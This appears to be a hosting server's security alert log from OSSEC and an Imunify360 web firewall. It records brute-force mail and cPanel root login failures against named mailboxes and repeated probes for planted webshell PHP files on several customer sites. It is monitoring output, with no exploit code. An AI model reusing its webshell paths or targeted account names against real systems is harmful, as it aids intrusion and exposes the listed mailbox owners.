country_id: 2260494
description:
2026-07-17 17:53:52 dovecot_login authenticator failed for H=([65.99.181.123]) [197.157.252.162]:34362: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.101.222.22
country_id: 1210997
description:
2026-07-17 17:54:07 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [165.101.222.22]:40562: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.222.240.94
country_id: 357994
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/dd3451990 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-07-17 17:56:39 dovecot_login authenticator failed for H=([49.124.148.19]) [65.20.211.96]:41805: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.194.37.176
country_id: 6251999
description:
2026-07-17 17:56:57 dovecot_login authenticator failed for H=104-194-37-176.tpia.execulink.com ([49.124.151.69]) [104.194.37.176]:33358: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 149.27.13.174
country_id: 1522867
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/de2010062 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-17 17:57:32 dovecot_login authenticator failed for H=(201-91-153-121.customer.tdatabrasil.net.br) [94.16.17.141]:54802: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-17 17:57:35 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.222
country_id: 1668284
description:
2026-07-17 17:58:15 dovecot_login authenticator failed for H=111-70-23-222.emome-ip.hinet.net ([111.26.101.76]) [111.70.23.222]:56992: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.60.128.241
country_id: 1269750
description:
2026-07-17 17:58:33 dovecot_login authenticator failed for H=([70.166.167.35]) [182.60.128.241]:56204: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 98.63.100.67
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e13192125 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.74.41
country_id: 1527747
description:
2026-07-17 17:58:44 dovecot_login authenticator failed for H=(mission-web-hosting.com) [92.62.74.41]:42577: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.152.12.212
country_id: 1210997
description:
2026-07-17 17:58:00 dovecot_login authenticator failed for H=([157.85.13.153]) [59.152.12.212]:42860: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.17.241.251
country_id: 1562822
description:
2026-07-17 17:59:06 dovecot_login authenticator failed for H=([193.232.203.117]) [123.17.241.251]:33309: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.38.64.70
country_id: 6251999
description:
2026-07-17 18:00:43 dovecot_login authenticator failed for H=([117.79.226.9]) [65.38.64.70]:27761: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.41.197
country_id: 1733045
description:
2026-07-17 18:01:10 dovecot_login authenticator failed for H=([113.53.251.101]) [183.171.41.197]:42410: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/banner/11782077340.php||SC:/home/idealloanzcom/public_html/uploads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.99.211.228
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/072932784 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.192.92.159
country_id: 290557
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0b3562772 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.156.82
country_id: 1269750
description:
2026-07-17 18:05:29 dovecot_login authenticator failed for H=([162.253.68.102]) [122.176.156.82]:42442: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.119.131
country_id: 3865483
description:
2026-07-17 18:05:39 dovecot_login authenticator failed for H=([183.171.7.149]) [167.250.119.131]:39180: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.186.35.240
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0a2499095 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.136.194.42
country_id: 2510769
description:
2026-07-17 18:05:56 dovecot_login authenticator failed for H=([107.181.161.85]) [45.136.194.42]:50522: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.247.116.191
country_id: 3865483
description:
2026-07-17 18:06:15 dovecot_login authenticator failed for H=([211.211.127.19]) [190.247.116.191]:57282: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.215.142.14
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/162390286 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.128.122.7
country_id: 99237
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/172239917 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.34.191.181
country_id: 1168579
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/component/content/article/signature-elite-series-es60-pair?catid=18&Itemid=101 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.34.69.225
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/18922515 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.180.18
country_id: 337996
description:
2026-07-17 18:11:54 dovecot_login authenticator failed for H=([50.231.243.28]) [196.190.180.18]:59698: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-17 18:12:26 dovecot_login authenticator failed for H=(dslc-082-082-143-196.pools.arcor-ip.net) [59.145.160.134]:45432: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://wiki.internzone.net/index.php?title=%C4%90%C3%A0n_h%C6%B0%C6%A1ng_%E1%BA%A4n_%C4%90%E1%BB%99_%E2%80%93_c%C3%A2y_tr%E1%BB%93ng_ti%E1%BB%81m_n%C4%83ng_cho_b%C3%A0_con\">Xem b\xc3\xa0i vi\xe1\xba\xbft</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.34
country_id: 1668284
description:
2026-07-17 18:13:10 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [101.13.5.34]:43428: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-17 18:13:30 dovecot_login authenticator failed for H=([174.179.100.65]) [203.252.10.3]:52817: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.163.182.114
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/201658666 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-17 18:15:04 dovecot_login authenticator failed for H=(191.34.253.17.dynamic.adsl.gvt.net.br) [65.73.230.102]:51640: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-07-17 18:15:33 dovecot_login authenticator failed for H=([199.229.254.131]) [183.104.220.84]:52400: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.21.243.7
country_id: 1668284
description:
2026-07-17 18:16:14 dovecot_login authenticator failed for H=211-21-243-7.hinet-ip.hinet.net ([221.158.140.244]) [211.21.243.7]:55116: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.138.208.89
country_id: 617790
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/2d1805791 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 223.181.13.36
country_id: 1269750
domain: fefkadirectorsunion.com
description:
IM360 WAF: Special shell symbol in request||MV:director-photo|FULLPATH}||MVN:REQUEST_URI||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-17 18:16:10 dovecot_login authenticator failed for H=([197.251.249.75]) [196.188.93.169]:2233: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.190.51.231
country_id: 337996
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/301444780 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.185.162.126
country_id: 1643084
description:
[2026-07-17 18:17:22 +0530] info [whostmgrd] 93.185.162.126 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.66.177.158
country_id: 3932488
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/322402037 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.193.147.146
country_id: 3017382
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/322449799 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.9.211.147
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/332113137 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 87.223.131.165
country_id: 2510769
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/342321646 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 136.158.33.104
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/3428252 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.240
country_id: 1668284
description:
2026-07-17 18:20:52 dovecot_login authenticator failed for H=110-25-105-240.adsl.fetnet.net ([124.160.45.26]) [110.25.105.240]:49051: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.28.205.2
country_id: 248816
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/363775028 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.45.101
country_id: 2661886
description:
2026-07-17 18:22:21 dovecot_login authenticator failed for H=78-66-45-101-no2550.tbcn.telia.com ([46.42.19.159]) [78.66.45.101]:55780: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.74.91.50
country_id: 1269750
description:
2026-07-17 18:22:56 dovecot_login authenticator failed for H=(183.189.88.222.broad.hb.ha.dynamic.163data.com.cn) [116.74.91.50]:59152: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-17 18:23:25 dovecot_login authenticator failed for H=(h-155-4-31-215.A2204.priv.bahnhof.se) [206.62.136.109]:45962: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.35.210.237
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/401121308 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.129.75.178
country_id: 1835841
description:
2026-07-17 18:23:49 dovecot_login authenticator failed for H=(pool.luganet.ru) [121.129.75.178]:58167: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.125.240.218
country_id: 1733045
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4091850 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 114.10.43.16
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/481191714 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.67.11.231
country_id: 798544
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/492855756 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 118.68.172.34
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4b3121384 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.11.205.214
country_id: 1835841
description:
2026-07-17 18:28:12 dovecot_login authenticator failed for H=([14.20.77.129]) [59.11.205.214]:52602: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-17 18:28:51 dovecot_login authenticator failed for H=(59-120-186-181.hinet-ip.hinet.net) [122.169.40.221]:51306: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.174
country_id: 1269750
description:
2026-07-17 18:29:05 dovecot_login authenticator failed for H=([116.114.94.242]) [182.95.178.174]:38326: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-07-17 18:29:17 dovecot_login authenticator failed for H=([128.185.187.2]) [1.250.67.190]:37608: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-17 18:29:38 dovecot_login authenticator failed for H=([121.46.239.204]) [182.95.181.50]:34630: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.177.80.73
country_id: 6252001
description:
2026-07-17 18:30:29 dovecot_login authenticator failed for H=([210.177.143.61]) [207.177.80.73]:56999: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.149.146.216
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/631403103 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.27.0.4
country_id: 1562822
description:
2026-07-17 18:31:14 dovecot_login authenticator failed for H=([218.233.182.39]) [123.27.0.4]:39026: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 135.125.199.17
country_id: 3017382
description:
2026-07-17 18:31:19 dovecot_login authenticator failed for H=vps-36f1e8f3.vps.ovh.net ([182.95.27.140]) [135.125.199.17]:47596: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.40.122.250
country_id: 2629691
description:
2026-07-17 18:32:40 dovecot_login authenticator failed for H=nova-185-040-122-250.cpe.novanet.is ([70.166.167.59]) [185.40.122.250]:49139: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/images/images/cache.php||SC:/home/ddgalaxy/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.222.43.138
country_id: 3277605
description:
2026-07-17 18:32:14 dovecot_login authenticator failed for H=(abts-north-static-230.137.160.122.airtelbroadband.in) [195.222.43.138]:51846: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.70.157.25
country_id: 6252001
description:
2026-07-17 18:38:08 dovecot_login authenticator failed for H=([31.76.51.114]) [152.70.157.25]:47326: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.142
country_id: 1269750
description:
2026-07-17 18:38:25 dovecot_login authenticator failed for H=(14-200-249-128.tpgi.com.au) [182.95.185.142]:43648: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.162.111.205
country_id: 1835841
description:
2026-07-17 18:38:44 dovecot_login authenticator failed for H=(91.156.207.178.in-addr.arpa) [112.162.111.205]:57827: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.230.93.69
country_id: 130758
description:
2026-07-17 18:39:13 dovecot_login authenticator failed for H=([85.93.45.33]) [109.230.93.69]:55900: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.10.80.121
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/871259437 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-17 18:43:28 dovecot_login authenticator failed for H=([110.227.215.90]) [197.219.228.242]:60138: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.68.214.34
country_id: 6252001
description:
2026-07-17 18:43:37 dovecot_login authenticator failed for H=([211.169.212.206]) [13.68.214.34]:46892: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 205.185.113.241
country_id: 6252001
domain: www.yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/images/sec-b49f67a192.php||SC:/home/yukticlick/public_html/images/sec-b49f67a192.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.197.6.173
country_id: 3017382
description:
2026-07-17 18:44:05 dovecot_login authenticator failed for H=([39.164.94.190]) [78.197.6.173]:62560: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.213.68.28
country_id: 337996
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/942162859 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 205.185.113.241
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/images/sec-54d7729d64.php||SC:/home/yukticlick/public_html/images/sec-54d7729d64.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 130.131.241.50
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/leaf.php||SC:/home/metrodigitals/public_html/uploads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.126.176.213
country_id: 630336
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/9b3744774 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 153.67.137.121
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/aa1952497 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.16.48.76
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/aa7061 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.176.93
country_id: 2661886
description:
2026-07-17 18:51:25 dovecot_login authenticator failed for H=c83-191-176-93.bredband.tele2.se ([1.209.170.44]) [83.191.176.93]:57988: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 205.185.127.84
country_id: 6252001
domain: vrishenterprises.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icospbvwh/fonts/nayvpvzw.php||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-17 18:51:48 dovecot_login authenticator failed for H=([95.105.52.153]) [41.215.125.250]:38490: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.186.248.185
country_id: 248816
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/bf3336287 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.24.61.79
country_id: 99237
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c7214525 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.148.205.252
country_id: 2635167
description:
2026-07-17 18:54:04 dovecot_login authenticator failed for H=(114.184.209.222.broad.cd.sc.dynamic.163data.com.cn) [147.148.205.252]:41736: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.221.227.47
country_id: 2077456
description:
2026-07-17 18:54:27 dovecot_login authenticator failed for H=([49.124.150.247]) [203.221.227.47]:36224: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 74.249.245.134
country_id: 6252001
domain: webdisk.ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/min.php||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.29.57.116
country_id: 248816
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d32475537 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 136.158.63.128
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d01949312 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.252.255.238
country_id: 1562822
domain: alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/alnayza.com/ HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.135.172
country_id: 1819730
description:
2026-07-17 18:56:31 dovecot_login authenticator failed for H=([49.124.151.81]) [121.202.135.172]:9416: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.215.33.26
country_id: 6252001
description:
2026-07-17 18:56:49 dovecot_login authenticator failed for H=wsip-72-215-33-26.pn.at.cox.net ([103.30.112.214]) [72.215.33.26]:56664: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 111.119.38.100
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f373155 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
